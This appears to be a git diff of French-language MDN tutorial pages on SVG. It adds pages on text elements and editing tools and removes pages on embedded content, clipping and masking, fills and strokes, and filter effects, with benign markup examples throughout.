La page est principalement formée de XHTML, CSS et JavaScript classiques. La seule partie intéressante est le contenu de l'élément <svg>. Cet élément et ses fils sont déclarés comme étant dans l'espace de nommage SVG. L'élément contient un gradient et deux formes remplies avec le gradient. Les bornes de couleurs du gradient sont définies par une classe CSS. Lorsque l'utilisateur saisit quelque chose d'incorrect dans le formulaire, le script affecte l'attribut invalid à la balise <body> et une règle de style modifie la couleur end-stop du gradient en rouge en lui donnant la valeur « red » (Une autre règle de style sert à faire apparaître un message d'erreur).

+ +

Cette approche bénéficie des points suivants en sa faveur :

+ +
    +
  • Nous avons choisi un formulaire XHTML classique qui pourrait faire partie d'un site Web existant, et lui avons ajouté un fond attractif et interactif
    • +
  • L'approche assure une rétro-compatibilité pour les navigateurs qui ne supportent pas SVG ; simplement, aucun fond n'apparaîtra pour eux
    • +
  • Elle est très simple et remplit sa fonction parfaitement
    • +
  • L'image se redimensionne automatiquement à la taille requise de manière intelligente
    • +
  • Nous pouvons avoir des déclarations de styles appliquées à la fois sur le HTML et le SVG
    • +
  • Le même script manipule à la fois le HTML et le SVG
    • +
  • Le document est entièrement basé sur les standards
    • +
+ +

Détails

+ +

L'attribut viewBox établit un système de coordonnées logiques sur lequel les coordonnées de l'image SVG s'appuient de façon relative. Dans ce cas, notre image s'étend dans un cadre de visualisation de 100 sur 100.

+ +

L'attribut preserveAspectRatio spécifie que le ratio de rendu doit être préservé en centrant l'image dans l'espace disponible, en augmentant la largeur ou la hauteur à leur maximum et en tronquant les débordements.

+ +

L'attribut style ancre l'élément SVG en arrière plan du formulaire.

+ +

Liens sur le sujet

+ +
    +
  • L'article wikipedia sur le format SVG
    • +
  • La page Inline SVG sur le wiki SVG
    • +
+ +

{{ languages( { "en": "en/SVG_In_HTML_Introduction", "ja": "ja/SVG_In_HTML_Introduction", "pl": "pl/SVG_w_XHTML_-_Wprowadzenie" } ) }}

diff --git a/files/fr/web/svg/tutorial/texts/index.html b/files/fr/web/svg/tutorial/texts/index.html new file mode 100644 index 0000000000..97871407d2 --- /dev/null +++ b/files/fr/web/svg/tutorial/texts/index.html @@ -0,0 +1,124 @@ +--- +title: Textes +slug: Web/SVG/Tutoriel/Texts +tags: + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial/Texts +--- +
+
{{PreviousNext("Web/SVG/Tutoriel/Motifs", "Web/SVG/Tutoriel/Transformations_de_base")}}
+ +
 
+ +

Lorsqu'on parle de texte en SVG, on doit différencier deux choses pratiquement complètement séparées: 1. l'inclusion et l'affichage de texte dans une image, 2. les polices SVG. Un article séparé sera dédié aux polices SVG, celui-ci se concentrera uniquement sur le fait d'insérer du texte.

+ +

Les bases

+ +

Nous avons vu dans l'exemple de l'introduction que l'élément text peut être utilisé pour mettre du texte dans des documents SVG:

+ +
<text x="10" y="10">Hello World!</text>
+
+ +

Les attributs x et y déterminent où le texte apparaîtra dans la fenêtre. L'attribut {{SVGAttr("text-anchor")}} spécifie l'alignement horizontal du texte (si ce point doit être le côté gauche, droit ou le centre du texte) et l'attribut {{SVGAttr("dominant-baseline")}} l'alignement vertical (si ce point est le haut, le bas ou le centre).

+ +

De même que les formes basiques, la couleur des éléments texte peut être modifié avec l'attribut fill pour le remplissage ou stroke pour le contour. Tout deux peuvent également faire référence à un dégradé ou motif, ce qui rend la coloration de texte SVG beaucoup plus puissante que CSS 2.1.

+ +

Définir la police

+ +

Une partie essentielle d'un texte est la police dans laquelle il est affiché. SVG offre un ensemble d'attributs pour spécifier la police, dont beaucoup sont similaires à leurs équivalents CSS. Chacune des propriétés suivantes peut être définie en tant qu'attribut ou via une déclaration CSS: {{SVGAttr("font-family")}}, {{SVGAttr("font-style")}}, {{SVGAttr("font-weight")}}, {{SVGAttr("font-variant")}}, {{SVGAttr("font-stretch")}}, {{SVGAttr("font-size")}}, {{SVGAttr("font-size-adjust")}}, {{SVGAttr("kerning")}}, {{SVGAttr("letter-spacing")}}, {{SVGAttr("word-spacing")}} et {{SVGAttr("text-decoration")}}.

+ +

Autres éléments liés au texte

+ +

tspan

+ +

Cet élément est utilisé pour baliser des sous-parties d'un texte. Il doit s'agit d'un enfant d'un élément text ou d'un autre élément tspan. Un cas typique consiste à écrire un mot d'une phrase en gras:

+
+ +
<text>
+  This is <tspan font-weight="bold" fill="red">bold and red</tspan>
+</text>
+
+ + + +

{{ EmbedLiveSample('Playable_code', '100%', 100) }}

+ +

L'élément tspan peut prendre les attributs personnalisés suivants:

+ +

x
+ Définit une nouvelle coordonnées absolue pour le texte qu'il contient. Cela écrase la position par défaut du texte. Cet attribut peut également contenir une liste de nombres, qui sont appliqués un par un à chaque caractère du tspan.

+ +

dx
+ Définit un décalage horizontal relatif à la position par défaut du texte. Ici aussi, vous pouvez founir une liste de valeurs qui seront appliquées consécutivement à chaque caractère.

+ +

y et dy sont utilisés de la même manière mais pour le déplacement vertical.

+ +

rotate
+ Applique une rotation aux caractères, avec le nombre de degrés donné. Donner une liste de nombres aura pour effet d'appliquer une rotation à chaque caractère respectif, la dernière valeur sera appliquée aux caractères restants.

+ +

textLength
+ Un attribut quelque peu obscur qui donne la longueur calculée de la chaîne. Il est destiné au moteur de rendu pour lui permettre d'affiner la position des glyphes, lorsque la longueur de texte mesurée ne correspond pas à celle qui est indiquée.

+ +

tref

+ +

L'élément tref permet de référencer un texte déjà définit, et recopie le texte à sa place. Vous devez utiliser l'attribut xlink:href pour définir l'élément à copier. Vous pouvez ensuite styliser le texte et modifier son apparence indépendamment de la source.

+ +
<text id="example">This is an example text.</text>
+
+<text>
+    <tref xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#example" />
+</text>
+
+ +

textPath

+ +

Cet élément récupère via son attribut xlink:href un chemin arbitraire et aligne ses caractères le long de ce chemin:

+ +
<path id="my_path" d="M 20,20 C 80,60 100,40 120,20" fill="transparent" />
+<text>
+  <textPath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path">
+    A curve.
+  </textPath>
+</text>
+ + + +

{{ EmbedLiveSample('Playable_code_2', '100%', 100) }}

+ +
{{PreviousNext("Web/SVG/Tutoriel/Motifs", "Web/SVG/Tutoriel/Transformations_de_base")}}
diff --git a/files/fr/web/svg/tutorial/tools_for_svg/index.html b/files/fr/web/svg/tutorial/tools_for_svg/index.html new file mode 100644 index 0000000000..f60f06c76f --- /dev/null +++ b/files/fr/web/svg/tutorial/tools_for_svg/index.html @@ -0,0 +1,70 @@ +--- +title: Outils pour SVG +slug: Web/SVG/Tutoriel/Tools_for_SVG +translation_of: Web/SVG/Tutorial/Tools_for_SVG +--- +

{{ PreviousNext("Web/SVG/Tutoriel/SVG_Image_Tag") }}

+ +

Maintenant que nous avons vu les notions de base en SVG, nous allons nous intéresser à quelques outils qui permettent d'éditer des fichiers SVG.

+ +

Support des navigateurs

+ +

Avec l'arrivée de IE9, on peut enfin dire que les principaux navigateurs -  Internet Explorer 9, Mozilla Firefox, Safari, Google Chrome et Opera - supportent le SVG. Sur mobile c'est aussi le cas des navigateurs basés sur Webkit (principalement iOS et Android). Et il y a en général des chances pour que les appareils plus vieux ou plus petits supportent au moins SVG Tiny.

+ +

Inkscape

+ +

URL: www.inkscape.org

+ +

L'un des outils fondamentaux pour travailler un format graphique est un logiciel de dessin performant. Inkscape permet de faire du dessin vectoriel, il est mis à jour régulièrement, et a le mérite d'être open source.

+ +

Il utilise le SVG comme format natif, et l'étend avec des éléments et attributs définis dans un espace de nommage spécifique. On peut aussi choisir un export au format SVG standard.

+ +

Adobe Illustrator

+ +

URL: www.adobe.com/products/illustrator/

+ +

Avant de racheter Macromedia, Adobe était le plus ardent défenseur de SVG. C'est de cette époque que date le bon support du SVG dans Illustrator. Cependant, le code généré comporte souvent des bizarreries, qui obligent à le retraiter pour pouvoir l'utiliser en dehors d'Illustrator.

+ +

Apache Batik

+ +

URL: xmlgraphics.apache.org/batik/

+ +

Batik est un ensemble d'outils open source proposés par Apache Software Foundation. La boite à outils est codée en Java et assure un support quasi intégral de SVG 1.1, ainsi que certaines des fonctionnalités qui étaient prévues à l'origine pour SVG 1.2.

+ +

En plus d'un outil de visualisation (Squiggle) et d'un moteur d'aplatissement des calques pour l'export en PNG, Batik propose aussi un outil de formatage du code SVG, ainsi qu'un convertisseur de typographie TrueType vers SVG.

+ +

Utilisé avec Apache FOP, il permet également de transformer du SVG en PDF.

+ +

Autres moteurs de rendu

+ +

Il existe plusieurs projets qui permettent d'exporter une image tramée à partie d'une source SVG. ImageMagick est l'un des outils les plus connus de traitement des images en ligne de commande.  Wikipédia utilise la librairie de code Gnome rsvg pour le rendu de ses images SVG.

+ +

Raphael JS

+ +

URL: raphaeljs.com

+ +

Raphaël est un framework javascript, qui propose une couche d'abstraction pour les différentes implémentations des navigateurs. Les vieilles versions d'Internet Explorer sont supportées grace à la génération de code VML, un langage de balisage vectoriel, qui est l'un des ancêtres de SVG et existe depuis IE 5.5.

+ +

Snap.svg

+ +

URL: snapsvg.io

+ +

Une nouvelle couche d'abstraction JavaScript, plus récent, du même auteur que Raphael JS. Snap.svg est conçu pour les navigateurs modernes et prend donc en charge les dernières fonctionnalités SVG telles que la masquage, le découpage, les motifs, gradients et groupes. Il ne supporte pas les anciens navigateurs, contrairement à Raphael.

+ +

Google Docs

+ +

URL: www.google.com/google-d-s/drawings/

+ +

Les dessins réalisés dans Google Docs peuvent être exportés en SVG.

+ +

Science

+ +

Les fameux outils d'analyse de données xfig and gnuplot supportent l'export en SVG. Pour le rendu de graphiques sur le web JSXGraph supporte VML, SVG et canvas, proposant automatiquement l'un ou l'autre en fonction du support des navigateurs.

+ +

SVG est souvent utilisé dans les applications GIS (Geographic Information System) à la fois comme format de stockage et de rendu. Cf carto.net pour davantage de détails.

+ +

Autres outils

+ +

Le W3C propose une liste des programmes qui supportent le SVG.

+ +

{{ PreviousNext("Web/SVG/Tutoriel/SVG_Image_Tag") }}

diff --git a/files/fr/web/svg/tutoriel/contenu_embarque_svg/index.html b/files/fr/web/svg/tutoriel/contenu_embarque_svg/index.html deleted file mode 100644 index ecaf0e7d60..0000000000 --- a/files/fr/web/svg/tutoriel/contenu_embarque_svg/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Contenu embarqué dans le SVG -slug: Web/SVG/Tutoriel/Contenu_embarque_SVG -translation_of: Web/SVG/Tutorial/Other_content_in_SVG ---- -

{{ PreviousNext("Web/SVG/Tutoriel/Découpages_et_masquages", "Web/SVG/Tutoriel/filtres") }}

- -

En plus des formes graphiques simples comme les rectangles et les cercles, le format SVG permet d'ajouter d'autres types de contenu aux images.

- -

Embarquer des images

- -

De la même façon qu'il est possible d'utiliser la balise img en HTML, le format SVG possède un élément image qui a la même utilité. Vous pouvez l'utiliser pour insérer des images bitmap ou vectorielles dans votre image SVG. La spécification définit que les formats PNG, JPEG et SVG au moins doivent être supportés.

- -

L'image embarquée devient un élément SVG normal. Cela implique que vous pouvez utiliser le découpage, les masques, les filtres, les rotations et toute la panoplie des outils svg sur ce contenu embarqué :

- -
<svg version="1.1"
-     xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
-     width="200" height="200">
-  <image x="90" y="-65" width="128" height="146" transform="rotate(45)"
-     xlink:href="https://developer.mozilla.org/media/img/mdn-logo.png"/>
-</svg>
-
- -

imagedemo.png

- -

Embarquer du contenu XML quelconque

- -

Étant donné que le SVG est un document XML, il est toujours possible d'adjoindre un contenu XML quelconque n'importe où dans le document. Mais il n'y a évidemment aucun moyen de savoir comment l'élément SVG encadrant votre contenu réagira à ce qui aura été inséré. En fait, un lecteur SVG correct ne réagira d'aucune façon particulière et ignorera purement et simplement ce contenu. Si la spécification ajoute l'élément SVG foreignObject, son utilité est essentiellement d'être une coquille pour d'autres balises et de permettre d'adjoindre des attributs de style (comme par exemple la largeur et la hauteur de l'objet embarqué afin de définir la place que celui-ci occupera).

- -

L'élément foreignObject est donc la bonne méthode pour embarquer du XHTML dans du SVG. Si le SVG doit contenir du texte de longueur conséquente, la disposition HTML est bien plus pratique et utilisable que l'élément SVG text. Une autre utilisation bien pratique de cet élément est l'adjonction de formules avec MathML. Pour des applications scientifiques utilisant le SVG, c'est un bon moyen de permettre la communication entre ces deux univers.

- -
Note: Gardez à l'esprit que le contenu du foreignObject doit pouvoir être analysé et pris en compte par votre lecteur SVG. Il y a peu de chances qu'un lecteur SVG autonome soit capable de restituer du contenu HTML or MathML.
- -

Etant donné que le foreignObject est un élément SVG comme un autre, vous pouvez, comme dans le case de l'élément image, utiliser toute la panoplie des attributs SVG qui pourrait s'appliquer au contenu embarqué.

- -

{{ PreviousNext("Web/SVG/Tutoriel/Découpages_et_masquages", "Web/SVG/Tutoriel/filtres") }}

diff --git "a/files/fr/web/svg/tutoriel/d\303\251coupages_et_masquages/index.html" "b/files/fr/web/svg/tutoriel/d\303\251coupages_et_masquages/index.html" deleted file mode 100644 index a4dd82b1dc..0000000000 --- "a/files/fr/web/svg/tutoriel/d\303\251coupages_et_masquages/index.html" +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Découpages et masquages -slug: Web/SVG/Tutoriel/Découpages_et_masquages -tags: - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial/Clipping_and_masking ---- -

{{ PreviousNext("SVG/Tutoriel/Transformations_de_base", "Web/SVG/Tutoriel/Contenu_embarque_SVG") }}

- -

Effacer une partie de ce que l'on a créé précédemment peut paraître maladroit, voire totalement contradictoire. Mais cela peut se révéler très utile, par exemple quand vous essayez de dessiner un demi-cercle.

- -

Le découpage (clipping) correspond au fait d'enlever des morceaux d'élément. Dans ce cas là, les effets de transparence ne sont pas permis, il s'agit d'une approche du tout-ou-rien.

- -

D'un autre côté, le masquage (masking) permet plus de souplesse en prenant en compte la transparence et les niveaux de gris.

- -

Découper

- -

Pour créer un demi-cercle, on définit d'abord un élément circle:

- -
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-  <defs>
-    <clipPath id="cut-off-bottom">
-      <rect x="0" y="0" width="200" height="100" />
-    </clipPath>
-  </defs>
-
-  <circle cx="100" cy="100" r="100" clip-path="url(#cut-off-bottom)" />
-</svg>
-
- -

On dessine ici un cercle d'un rayon de 100 pixels, dont le centre est placé au point (100,100). L'attribut clip-path fait référence à l'élément clipPath définit plus haut, qui est généralement placé dans la section defs.

- -

L'élément clipPath contient un simple rectangle qui, seul, remplirait en noir la moitié supérieur du canvas. Le rectangle ne sera pas dessiné, parce qu'il est définit dans un élément clipPath, il a pour effet de déterminer quels pixels seront affichés ou non dans le dessin final. Le rectangle ne couvrant que la partie supérieure du cercle, la partie inférieure du cercle ne sera pas affichée:

- -

{{ EmbedLiveSample('Découper','240','240','/files/3224/clipdemo.png') }}

- -

Nous avons maintenant un demi-cercle, sans avoir à passer par un arc dans un élément path. Pour le découpage, chaque forme à l'intérieur de clipPath est inspecté et évalué avec ses propriétés et ses transformations. Chaque zone transparente dans clipPath aura pour effet de masquer le contenu. La couleur, l'opacité et autres n'ont pas d'effet tant qu'ils ne rendent pas les formes complètement transparentes.

- -

Masquage

- -

Le masquage, contrairement au découpage permet de travailler avec des gradients. Si vous voulez qu'un élément disparaisse progressivement, vous y parviendrez en utiilisant des masques.

- -
<svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-  <defs>
-    <linearGradient id="Gradient">
-      <stop offset="0" stop-color="white" stop-opacity="0" />
-      <stop offset="1" stop-color="white" stop-opacity="1" />
-    </linearGradient>
-    <mask id="Mask">
-      <rect x="0" y="0" width="200" height="200" fill="url(#Gradient)"  />
-    </mask>
-  </defs>
-
-  <rect x="0" y="0" width="200" height="200" fill="green" />
-  <rect x="0" y="0" width="200" height="200" fill="red" mask="url(#Mask)" />
-</svg>
-
- -

Vous pouvez voir qu'on a définit un rectangle vert en-dessous d'un rectangle rouge. Ce dernier a un attribut mask qui pointe vers le masque situé dans les définitions. Le contenu du masque est un simple élément rect, qui est rempli d'un gradient transparent-vers-blanc. Les pixels du rectangle rouge héritent de la valeur alpha (la transparence) du contenu du masque, si bien que le rectangle rouge est progressivement masqué et laisse voir le rectangle vert en-dessous:

- -

{{ EmbedLiveSample('Masquage','240','240','/files/3234/maskdemo.png') }}

- -

Transparence avec opacity

- -

Pour définir la transparence d'un élément entier, on peut utiliser l'attribut opacity:

- -
<rect x="0" y="0" width="100" height="100" opacity=".5" />
-
- -

Le rectangle ci-dessus sera dessiné semi-transparent.

- -

On peut également utiliser deux attributs distincts pour le remplissage et le contour: fill-opacity et stroke-opacity, pour contrôler l'opacité des propriétés fill et stroke respecitvement. Notez que le contour est dessiné au-dessus du remplissage. Ainsi, si vous rendez le contour semi-transparent et non le remplissage, celui-ci sera visible à travers le contour:

- -
<svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-  <rect x="0" y="0" width="200" height="200" fill="blue" />
-  <circle cx="100" cy="100" r="50" stroke="yellow" stroke-width="40" stroke-opacity=".5" fill="red" />
-</svg>
-
- -

{{ EmbedLiveSample('Transparence_avec_opacity','240','240','/files/3231/opacitydemo.png') }}

- -

Vous pouvez voir dans cet exemple un cercle rouge sur un fond bleu. Le contour jaune a une opacité de 50%, si bien qu'on se retrouve avec une partie du remplissage en orange.

- -

Utilisation de techniques CSS bien connues

- -

Un des outils les plus puissants parmis l'arsenal du développeur web est display: none. Il n'est donc pas étonnant qu'il ait été décidé que cette propriété CSS serait également intégrée à SVG, de même que visibility et clip définis en CSS 2. Pour ré-afficher un élément précédemment caché avec display: none il est important de savoir que la valeur initiale des éléments SVG est inline.

- -

{{ PreviousNext("SVG/Tutoriel/Transformations_de_base", "Web/SVG/Tutoriel/Contenu_embarque_SVG") }}

- -

{{ languages( { "en": "en/SVG/Tutorial/Clipping_and_masking" } ) }}

diff --git a/files/fr/web/svg/tutoriel/fills_and_strokes/index.html b/files/fr/web/svg/tutoriel/fills_and_strokes/index.html deleted file mode 100644 index 54e0d792e2..0000000000 --- a/files/fr/web/svg/tutoriel/fills_and_strokes/index.html +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Remplissages et contours -slug: Web/SVG/Tutoriel/Fills_and_Strokes -tags: - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial/Fills_and_Strokes ---- -

{{ PreviousNext("Web/SVG/Tutoriel/Paths", "Web/SVG/Tutoriel/Gradients") }}

- -

Il y a différentes manières de colorer des formes: utiliser différents attributs SVG sur l'objet, utiliser du {{glossary("CSS")}} en ligne, une section CSS ou un fichier CSS externe. La plupart des {{glossary("SVG")}} que vous trouverez sur le Web utilisent du CSS en ligne, mais il y a des avantages et inconvénients pour chaque manière.

- -

Attributs Fill et Stroke

- -

Colorer

- -

La coloration peut être faite en définissant deux attributs sur l'objet: fill et stroke. Fill définit la couleur de remplissage et stroke définit la couleur de la bordure. Vous pouvez utiliser la même convention de nommage des couleurs que CSS, que ce soit les noms (comme red), les valeurs rgb (comme rgb(255,0,0)), les valeurs hexadécimales, rgba, etc.

- -
<rect x="10" y="10" width="100" height="100"
-       stroke="blue" fill="purple"
-       stroke-opacity="0.8" fill-opacity="0.5"/>
-
- -

De plus, vous pouvez spécifier l'opacité de fill et/ou stroke. Celle-ci est contrôlé par les attributs fill-opacity et stroke-opacity respectivement.

- -
Note: Dans Firefox 3+, les valeurs rgba sont autorisés, ce qui donne le même effet qu'utiliser les attributs d'opacité. En revanche, pour être compatible avec les autres navigateurs, il est souvent préférable de spécifier fill/stoke-opacity séparemment. Si vous spécifiez à la fois une valeur rgba et fill/stoke-opacity, les deux seront appliquées.
- -

Options du contour

- -

Outre les propriétés de couleur, il existe quelques attributs additionnels pour contrôler la manière dont le contour est dessiné.

- -

stroke-width

- -

La propriété stroke-width définit la taille du contour. La ligne du contour est centrée autour du remplissage (si le contour vaut 10, 5 pixels du contour chevauchent le remplissage).

- -

stroke-linecap

- -

Le second attribut affectant le contour est la propriété stroke-linecap. Elle contrôle la forme des fins de ligne. Dans l'image ci-dessous, le chemin est dessiné en rose et le contour en noir.

- -

- -
<svg width="160" height="140" xmlns="http://www.w3.org/2000/svg" version="1.1">
-  <line x1="40" x2="120" y1="20" y2="20"
-        stroke-linecap="butt" stroke="black" stroke-width="20"/>
-  <line x1="40" x2="120" y1="60" y2="60"
-        stroke-linecap="square" stroke="black" stroke-width="20"/>
-  <line x1="40" x2="120" y1="100" y2="100"
-        stroke-linecap="round" stroke="black" stroke-width="20"/>
-</svg>
- -

{{ EmbedLiveSample('stroke-linecap', '220', '150') }}

- -

Il y a trois valeurs possibles pour stroke-linecap:

- -
    -
  • butt (valeur par défaut) ferme la ligne avec un bord droit, à 90 degrés à l'endroit où la ligne se termine.
    • -
  • square a la même apparence mais termine au delà de la ligne. La distance ajoutée est la moitié de stroke-width.
    • -
  • round produit un effet arrondi à la fin du trait. La rayon de cette courbe est également contrôlé par stroke-width.
    • -
- -

stroke-linejoin

- -

La propriété stroke-linejoin permet de contrôler la manière de dessiner la liaison entre deux segments de ligne.

- -

- -
<svg width="160" height="280" xmlns="http://www.w3.org/2000/svg" version="1.1">
-  <polyline points="40 60 80 20 120 60" stroke="black" stroke-width="20"
-      stroke-linecap="butt" fill="none" stroke-linejoin="miter"/>
-
-  <polyline points="40 140 80 100 120 140" stroke="black" stroke-width="20"
-      stroke-linecap="round" fill="none" stroke-linejoin="round"/>
-
-  <polyline points="40 220 80 180 120 220" stroke="black" stroke-width="20"
-      stroke-linecap="square" fill="none" stroke-linejoin="bevel"/>
-</svg>
- -

{{ EmbedLiveSample('stroke-linejoin', '220', '150') }}

- -

Chacune des ces polylignes est composée de deux segments de lignes. La liaison entre les deux est contrôlée par l'attribut stroke-linejoin. Il y a trois valeurs possibles pour cet attribut:

- -
    -
  • miter (valeur par défaut) prolonge légèrement la ligne au-delà de sa largeur normale pour créer un coin carré, de telle sorte qu'il n'y ait qu'un seul angle.
    • -
  • round crée un coin arrondi.
    • -
  • bevel crée un nouvel angle pour faciliter la transition entre les deux segments.
    • -
- -

stroke-dasharray

- -

Finalement, vous pouvez également créer des lignes pointillées en spécifiant l'attribut stroke-dasharray.

- -

- -
<svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1">
-  <path d="M 10 75 Q 50 10 100 75 T 190 75" stroke="black"
-    stroke-linecap="round" stroke-dasharray="5,10,5" fill="none"/>
-  <path d="M 10 75 L 190 75" stroke="red"
-    stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/>
-</svg>
- -

{{ EmbedLiveSample('stroke-dasharray', '220', '150') }}

- -

L'attribut stroke-dasharray prend une série de nombres séparés par une virgule en argument. 

- -
-

Note: Contrairement aux paths, ces nombres doivent être séparés par des virgules (les espaces sont ignorés).

-
- -

Le premier nombre spécifie la distance du trait et le second la distance de l'espace. Dans l'exemple précédent, la ligne rouge commence par un trait de 5 suivit d'un espace de 5 (5,5), motif qui se répète sur le reste de la ligne. Vous pouvez spécifier davantage de nombres pour créer un motif de pointillés plus complexe. Pour la ligne noire on a spécifié trois nombres (5,10,5), ce qui a pour effet d'alterner le motif: (5 trait, 10 espace, 5 trait), (5 espace, 10 trait, 5 espace), etc.

- -

Autres

- -

Il existe d'autres propriétés disponibles:

- -
    -
  • fill-rule, spécifie la règle de remplissage pour les formes où des chemins se chevauchent.
    • -
  • stroke-miterlimit, détermine à partir de quel angle une liaison de segment de type miter sera affichée en bevel.
    • -
  • stroke-dashoffset, définit à partir d'où commencer les pointilliés sur la ligne.
    • -
- -

Utiliser CSS

- -

En plus de définir des attributs sur des objets, vous pouvez également utiliser CSS pour styliser les remplissages et les contours. Tous les attributs ne peuvent pas être définis via CSS. Ceux qui traitent le remplissage et le contour le sont généralement, fill, stroke, stroke-dasharray, etc... peuvent donc être définis de cette manière. Les attributs tels que width, height, ou les commandes des paths, ne peuvent pas être définis par CSS. Le plus simple est de tester pour découvrir ce qui est disponible et ce qui ne l'est pas.

- -
Note: La spécification SVG décide strictement entre les attributs qui sont des propriétés et les autres. Les premiers peuvent être modifiés avec CSS, les derniers non.
- -

En ligne

- -

CSS peut être inséré en ligne avec l'élément via l'attribut style:

- -
 <rect x="10" height="180" y="10" width="180" style="stroke: black; fill: red;"/>
-
- -

Dans un section style

- -

Sinon, il peut être déplacé vers une section style. Au lieu de l'insérer dans une section <head> comme vous le feriez en HTML, on la place dans la zone <defs> du SVG. <defs> (abbréviation de definitions) est l'endroit où vous placez les éléments qui n'apparaissent pas dans le SVG directement, mais qui sont utilisés par les autres éléments.

- -
<?xml version="1.0" standalone="no"?>
-<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1">
-  <defs>
-    <style type="text/css"><![CDATA[
-       #MyRect {
-         stroke: black;
-         fill: red;
-       }
-    ]]></style>
-  </defs>
-  <rect x="10" height="180" y="10" width="180" id="MyRect"/>
-</svg>
- -

Déplacer les styles dans une zone comme ceci peut rendre les choses plus simples pour ajuster les propriétés d'un grand nombre d'éléments. Vous pouvez également utiliser les pseudo-classes comme hover pour créer des effets:

- -
 #MyRect:hover {
-   stroke: black;
-   fill: blue;
- }
-
- -

Dans un fichier externe

- -

Ou vous pouvez spécifier une feuille de style externe pour vos règles CSS avec la syntaxe XML pour les stylesheets:

- -
<?xml version="1.0" standalone="no"?>
-<?xml-stylesheet type="text/css" href="style.css"?>
-
-<svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1">
-  <rect height="10" width="10" id="MyRect"/>
-</svg>
- -

où style.css ressemble à ça:

- -
#MyRect {
-  fill: red;
-  stroke: black;
-}
- -

{{ PreviousNext("Web/SVG/Tutoriel/Paths", "Web/SVG/Tutoriel/Gradients") }}

diff --git a/files/fr/web/svg/tutoriel/filtres/index.html b/files/fr/web/svg/tutoriel/filtres/index.html deleted file mode 100644 index b0f988398a..0000000000 --- a/files/fr/web/svg/tutoriel/filtres/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: Filtres -slug: Web/SVG/Tutoriel/filtres -tags: - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial/Filter_effects ---- -

{{ PreviousNext("Web/SVG/Tutoriel/Contenu_embarque_SVG", "Web/SVG/Tutoriel/polices_SVG") }}

- -

Dans certaines situations, les formes de base n'offrent pas la flexibilité nécessaire pour obtenir un certain effet. Par exemple, les ombres portées ne peuvent raisonnablement pas être crées avec des gradients. Les filtres sont des mécanismes SVG qui permettent de créer effets plus sophistiqués.

- -

Un exemple de base consiste à ajouter un effet de flou au contenu du SVG. Bien que des effets de flou simples peuvent être obtenus avec les gradients, le filtre est nécessaire pour quelque chose de plus complexe.

- -

Exemple

- -

Les filtres sont définis par l'élément {{SVGElement('filter')}}, qui doit ête placé dans la section <defs> de votre fichier SVG. Entre les balises du filtre, se placent une liste de primitives, des opérations basiques qui s'ajoutent aux opérations précédentes (tel que du flou, de la lumière, etc). Pour appliquer le filtre créé sur un élément graphique, on définit l'attribut {{SVGAttr('filter')}}.

- -
<svg width="250" viewBox="0 0 200 85"
-     xmlns="http://www.w3.org/2000/svg" version="1.1">
-  <defs>
-    <!-- Déclaration du filtre -->
-    <filter id="MyFilter" filterUnits="userSpaceOnUse"
-            x="0" y="0"
-            width="200" height="120">
-
-      <!-- offsetBlur -->
-      <feGaussianBlur in="SourceAlpha" stdDeviation="4" result="blur"/>
-      <feOffset in="blur" dx="4" dy="4" result="offsetBlur"/>
-
-      <!-- litPaint -->
-      <feSpecularLighting in="blur" surfaceScale="5" specularConstant=".75"
-                          specularExponent="20" lighting-color="#bbbbbb"
-                          result="specOut">
-        <fePointLight x="-5000" y="-10000" z="20000"/>
-      </feSpecularLighting>
-      <feComposite in="specOut" in2="SourceAlpha" operator="in" result="specOut"/>
-      <feComposite in="SourceGraphic" in2="specOut" operator="arithmetic"
-                   k1="0" k2="1" k3="1" k4="0" result="litPaint"/>
-
-      <!-- fusionne offsetBlur + litPaint -->
-      <feMerge>
-        <feMergeNode in="offsetBlur"/>
-        <feMergeNode in="litPaint"/>
-      </feMerge>
-    </filter>
-  </defs>
-
-  <!-- Éléments graphiques -->
-  <g filter="url(#MyFilter)">
-      <path fill="none" stroke="#D90000" stroke-width="10"
-            d="M50,66 c-50,0 -50,-60 0,-60 h100 c50,0 50,60 0,60z" />
-      <path fill="#D90000"
-            d="M60,56 c-30,0 -30,-40 0,-40 h80 c30,0 30,40 0,40z" />
-      <g fill="#FFFFFF" stroke="black" font-size="45" font-family="Verdana" >
-        <text x="52" y="52">SVG</text>
-      </g>
-  </g>
-</svg>
-
- -

{{ EmbedLiveSample('Exemple', '100%', 120) }}

- -

Étape 1

- -
<feGaussianBlur in="SourceAlpha"
-                stdDeviation="4"
-                result="blur"/>
- -

{{SVGElement('feGaussianBlur')}} prend en entrée (in) "SourceAlpha", qui est la couche alpha de l'élément source, applique un flou de 4, et stocke le résultat (result) dans un buffer temporaire nommé "blur".

- -

Étape 2

- -
<feOffset in="blur"
-          dx="4" dy="4"
-          result="offsetBlur"/>
- -

{{SVGElement('feOffset')}} prend en entrée (in) "blur", qu'on a crée précedemment, le décale de 4 vers la droite et 4 vers le bas, et stocke le résultat (result) dans le buffer "offsetBlur". Les deux premières primitives viennent de créer une ombre portée.

- -

Étape 3

- -
<feSpecularLighting in="blur"
-                    surfaceScale="5" specularConstant=".75"
-                    specularExponent="20" lighting-color="#bbbbbb"
-                    result="specOut">
-  <fePointLight x="-5000" y="-10000" z="20000"/>
-</feSpecularLighting>
- -

{{SVGelement('feSpecularLighting')}} prend en entrée (in) "blur", génère un effet d'éclairage, et stocke le résultat (result) dans le buffer "specOut".

